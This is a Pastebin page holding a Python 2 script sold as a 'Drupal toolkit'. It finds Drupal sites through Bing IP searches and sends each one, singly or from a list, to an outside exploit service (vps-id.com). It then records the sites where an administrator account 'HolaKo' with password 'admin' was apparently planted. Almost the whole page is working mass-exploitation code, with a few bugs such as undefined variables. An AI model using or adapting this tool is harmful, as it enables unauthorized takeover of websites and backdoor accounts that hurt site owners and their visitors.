Advertisement
Kyfx

durpal toolkit (Coded Python)

May 8th, 2015
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.15 KB | None | 0 0
  1.  
  2. #!/usr/bin/python
  3.  
  4. import urllib2,urllib,re,sys,json
  5. from urlparse import urlparse
  6.  
  7. logo = '''
  8. ____ _ _____ _ _ _ _
  9. | _ \ _ __ _ _ _ __ __ _| | |_ ____ ___ | | | _(_| |_
  10. | | | | '__| | | | '_ \ / _` | |_____| |/ _ \ / _ \| | |/ | | __|
  11. | |_| | | | |_| | |_) | (_| | |_____| | (_) | (_) | | <| | |_
  12. |____/|_| \__,_| .__/ \__,_|_| |_|\___/ \___/|_|_|\_|_|\__|
  13. |_| Version 1.0
  14. '''
  15.  
  16. menu ='''
  17. \t{1} Drupal Bing Exploiter
  18. \t{2} Get Drupal Websites
  19. \t{3} Drupal Mass Exploiter
  20. \t{4} About Me
  21. '''
  22. def about():
  23.  
  24. print '''
  25.  
  26.  
  27. # This Tool Created By Kyfx #
  28. | |
  29. # Drupal Toolkit Python Coded #
  30. | |
  31. # Pew Pew Pew #
  32. | |
  33. # Peace is Silence By Fear #
  34. | |
  35. # Mail : [email protected] #
  36. | |
  37.  
  38.  
  39.  
  40. '''
  41.  
  42. #Definition Of Drupal Bing Expoliter
  43. def drupal():
  44.  
  45. '''Drupal Exploit Binger All Websites Of server '''
  46. ip = raw_input('1- IP : ')
  47. page = 1
  48. while page <= 50 :
  49.  
  50. url = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
  51. req = urllib2.Request(url)
  52. opreq = urllib2.urlopen(req).read()
  53. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  54. page += 1
  55.  
  56. for url in findurl :
  57. try :
  58.  
  59. urlpa = urlparse(url)
  60. site = urlpa.netloc
  61.  
  62. print "[+] Testing At "+site
  63. resp = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+site+'&submit=submit')
  64. read=resp.read()
  65. if "User : HolaKo" in read:
  66. print "Exploit found =>"+site
  67.  
  68. print "user:HolaKo\npass:admin"
  69. a = open('up.txt','a')
  70. a.write(site+'\n')
  71. a.write("user:"+user+"\npass:"+pwd+"\n")
  72. else :
  73. print "[-] Expl Not Found :( "
  74.  
  75. except Exception as ex :
  76. print ex
  77. sys.exit(0)
  78.  
  79.  
  80. #Drupal Server ExtraCtor
  81. def getdrupal():
  82. ip = raw_input('2- Ip : ')
  83. page = 1
  84. sites = list()
  85. while page <= 50 :
  86.  
  87. url = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
  88. req = urllib2.Request(url)
  89. opreq = urllib2.urlopen(req).read()
  90. findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  91. page += 1
  92.  
  93. for url in findurl :
  94. split = urlparse(url)
  95. site = split.netloc
  96. if site not in sites :
  97. print site
  98. sites.append(site)
  99.  
  100.  
  101. #Drupal Mass List Exploiter
  102. def drupallist():
  103. listop = raw_input("Enter The list Txt :")
  104. fileopen = open(listop,'r')
  105. content = fileopen.readlines()
  106. for i in content :
  107. url=i.strip()
  108. try :
  109. openurl = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+url+'&submit=submit')
  110. readcontent = openurl.read()
  111. if "Success" in readcontent :
  112. print "[+]Success =>"+url
  113. print "[-]username:HolaKo\n[-]password:admin"
  114. save = open('drupal.txt','a')
  115. save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
  116.  
  117. else :
  118. print i + "=> exploit not found "
  119. except Exception as ex :
  120. print ex
  121.  
  122. def main():
  123. print logo
  124. print menu
  125. choose = raw_input("choose a number :")
  126. while True :
  127.  
  128. if choose == "1":
  129. drupal()
  130. if choose == "2":
  131. getdrupal()
  132. if choose == "3":
  133. drupallist()
  134. if choose == "4":
  135. about()
  136. if choose == "11":
  137. print "#By"
  138. exit()
  139. con = raw_input('Continue [Y/n] -> ')
  140. if con[0].upper() == 'N' :
  141. exit()
  142. if con[0].upper() == 'Y' :
  143. main()
  144.  
  145.  
  146.  
  147. if __name__ == '__main__':main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement